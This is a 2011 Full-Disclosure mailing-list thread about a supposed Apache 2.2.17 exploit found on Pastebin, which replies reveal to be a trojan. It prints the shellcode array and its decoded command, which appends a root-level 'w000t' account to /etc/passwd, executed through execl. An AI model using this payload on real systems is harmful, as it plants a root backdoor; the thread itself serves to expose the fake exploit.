Message-ID: <CALCvwp60K_SQY+zWR23PceVJKJAhX-FE=pBJtZnqB8sjJqwxyg@mail.gmail.com>
Date: Wed, 5 Oct 2011 14:50:47 +1100
From: xD 0x41 <secn3t@...il.com>
To: adam <adam@...sy.net>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Apache 2.2.17 exploit?

(using an old account I must have set up a while ago named w000t).

err..but, you ran it didnt you... so why would u need any old account :P
hehe... just... something wich i find strange.
I dont see any support would be good here :) lol.... i betting he does ONLy
patch to stop the thing being re-rooted, as it has become public since
posted onlist ;)
hehe.... you shuld really not let him do much, if thats even true, wich i
really am doubting... specially since u named this old account...when, also
saying u tried to run it..wich would, exec shellcode...so i guess.. once
cleared up, and if true, i know this is done by MANY smarter hax, and, your
IP if it was ran, prolly also gets emailed somewhere, somehow... or, some
alert made, or maybe, not.. but, if he was so fast to login then i wonder...
but, then, he is only stopping it, frok other hackers, not from, other nice
guys :)
xd


On 5 October 2011 14:06, VeNoMouS <venom@...-x.co.nz> wrote:

> **
>
> I dunno.... china offers usa that kind of support all the time ..... or so
> i heard....
>
> On Tue, 4 Oct 2011 21:41:08 -0500, adam wrote:
>
> Wow, I'm extremely impressed with the support that the developer of this
> exploit offers. I had been trying to get the exploit to work for about an
> hour or so (couldn't get root on the target) and noticed that the developer
> of this exploit logged into my machine (using an old account I must have set
> up a while ago named w000t). I couldn't believe it when I saw that he was
> logging in to fix the problem, I've NEVER gotten that kind of support even
> out of paid software. He's been logged in for a couple of hours now, and
> I've noticed that he's downloaded/uploaded quite a bit (probably downloading
> the log files and then uploading patches) so I'm just gonna wait it out. I
> definitely have a good feeling about this though.
>
> On Tue, Oct 4, 2011 at 9:21 PM, xD 0x41 <secn3t@...il.com> wrote:
>
>> yer it is clarly leet stuff dude...
>> i ran it and got liek 2000000000000000k2.2.* apache user bot  in a night!
>> :P
>> hgehe (jkin)
>> funny tho.
>> xd
>>
>>
>>  On 5 October 2011 13:09, VeNoMouS <venom@...-x.co.nz> wrote:
>>
>>>   char evil[] =
>>>                 "\xeb\x2a\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x88\x46
>>> \x47\x89"
>>>                 "\x76\x49\x8d\x5e\x08\x89\x5e\x4d\x8d\x5e\x0b\x89\x5e
>>> \x51\x89"
>>>                 "\x46\x55\xb0\x0b\x89\xf3\x8d\x4e\x49\x8d\x56\x55\xcd
>>> \x80\xe8"
>>>                 "\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x2d
>>> \x63\x23"
>>>                 "\x2f\x62\x69\x6e\x2f\x65\x63\x68\x6f\x20\x77\x30\x30
>>> \x30\x74"
>>>                 "\x3a\x3a\x30\x3a\x30\x3a\x73\x34\x66\x65\x6d\x30\x64
>>> \x65\x3a"
>>>                 "\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x62\x61
>>> \x73\x68"
>>>                 "\x20\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73
>>> \x77\x64"
>>>                 "\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43
>>> \x44\x44"
>>>                 "\x44\x44"
>>> .....
>>> execl("/bin/sh", "sh", "-c", evil, 0);
>>>
>>> .....
>>>
>>>
>>>
>>> /bin/echo w000t::0:0:s4fem0de:/root:/bin/bash >> /etc/passwd
>>>
>>> AHUH.....
>>>
>>>
>>>
>>> On Mon, 3 Oct 2011 15:31:29 +0100, Darren Martyn wrote:
>>>
>>> I regularly trawl Pastebin.com to find code - often idiots leave some
>>> 0day and similar there and it is nice to find.
>>>
>>> Well, seeing as I have no test boxes at the moment, can someone check
>>> this code in a VM? I am not sure if it is legit or not.
>>>
>>> http://pastebin.com/ygByEV2e
>>>
>>> Thanks :)
>>>
>>> ~Darren
>>>
>>>
>>>
>>>    1. char evil[] =
>>>     2.                 "\xeb\x2a\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x88
>>>    \x46\x47\x89"
>>>     3.                 "\x76\x49\x8d\x5e\x08\x89\x5e\x4d\x8d\x5e\x0b\x89
>>>    \x5e\x51\x89"
>>>     4.                 "\x46\x55\xb0\x0b\x89\xf3\x8d\x4e\x49\x8d\x56\x55
>>>    \xcd\x80\xe8"
>>>     5.                 "\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23
>>>    \x2d\x63\x23"
>>>     6.                 "\x2f\x62\x69\x6e\x2f\x65\x63\x68\x6f\x20\x77\x30
>>>    \x30\x30\x74"
>>>     7.                 "\x3a\x3a\x30\x3a\x30\x3a\x73\x34\x66\x65\x6d\x30
>>>    \x64\x65\x3a"
>>>     8.                 "\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x62
>>>    \x61\x73\x68"
>>>     9.                 "\x20\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73
>>>    \x73\x77\x64"
>>>     10.                 "\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43
>>>    \x43\x43\x44\x44"
>>>     11.                 "\x44\x44";
>>>
>>>
>>>  _______________________________________________
>>> Full-Disclosure - We believe in it.
>>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>> Hosted and sponsored by Secunia - http://secunia.com/
>>>
>>
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
>
>
>

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists